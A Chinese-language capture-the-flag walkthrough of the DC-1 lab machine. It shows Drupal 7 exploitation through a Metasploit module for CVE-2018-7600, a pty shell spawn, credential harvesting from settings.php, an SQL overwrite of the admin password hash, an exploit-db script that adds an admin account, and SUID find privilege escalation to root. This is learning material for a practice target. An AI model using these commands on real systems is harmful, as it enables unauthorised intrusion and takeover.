靶机下载地址:戳我
0x00 前期工作
首先需要修改“网络适配器”为NAT模式。打开靶机后界面如下:
使用kali探测存活主机,得到DC1-1靶机的ip为192.168.58.146:
fping -g 192.168.58.1/24
使用nmap探测主机开放了哪些端口:
nmap -sS -p 1-65535 192.168.58.146
0x01 获取flag
flag1
访问80端口可以看到以下页面,通过插件可以得知是Drupal 7:
该版本的Drupal存在CVE-2018-7600,已经在msf里集成:
梭qwq
> search Drupal > use 4 > show options > set rhosts 192.168.58.146 > exploit
在当前文件夹得到第一个flag。
Every good CMS needs a config file - and so do you.
flag2
根据flag1的提示,需要找到“config file”。
#获得一个可交互的输入终端 python -c 'import pty; pty.spawn("/bin/bash")'
在/var/www/sites/default/目录下的settings.php文件中找到了flag2以及数据库的用户名(dbuser)和密码(R0ck3t)等相关信息。
/** * flag2 Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials? * */
flag3
连接数据库:
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | drupaldb | +--------------------+ 2 rows in set (0.00 sec) mysql> use drupaldb
查看drupaldb中user表的数据:
select * from users;
得到用户admin加密后的密码:
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
不知道加密方式,也解不出来,但是在/var/www/scripts中存在密码加密脚本(password-hash.sh):
明文密码123456789 使用此脚本替换得到加密后的密码:
> www-data@DC-1:/var/www$ ./scripts/password-hash.sh 123456789 password: 123456789 hash: $S$DfFLsHIBqK3xTj0yY3hu7XeoW9KXW3VxF0OT5Ge2H0trsNSSNcQj
再次连接数据库 替换原来的admin的密码:
use drupaldb; update users set pass="$S$DfFLsHIBqK3xTj0yY3hu7XeoW9KXW3VxF0OT5Ge2H0trsNSSNcQj" where name="admin";
成功以admin身份访问网站后台。
content这里发现了flag3。
exploitdb里也有一个针对Drupal 7的,增加一个admin权限的用户账号的攻击脚本,这里不细写了惹。
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://ip -u eastmount -p eastmount
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
flag4
提示特殊/shadow等字样,可以联想到查看/etc/shadow,因为没有权限,查看/etc/passwd得到flag4的位置。
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?
flag5
flag4的提示很明显了,要达到root权限。
以下任意一条命令都可以找到正在系统上运行的所有SUID可执行文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null
可以看到find命令是以root权限执行的,它的参数如下:
find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录
如果加了 -exec 参数,就会以root权限把find的字符串当作命令去执行。
新建一个文件夹,然后find它,后面加载命令:
> mkdir shawroot > find shawroot -exec '/bin/sh' \;
成功提权。在root目录下得到最后一个flag。
Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7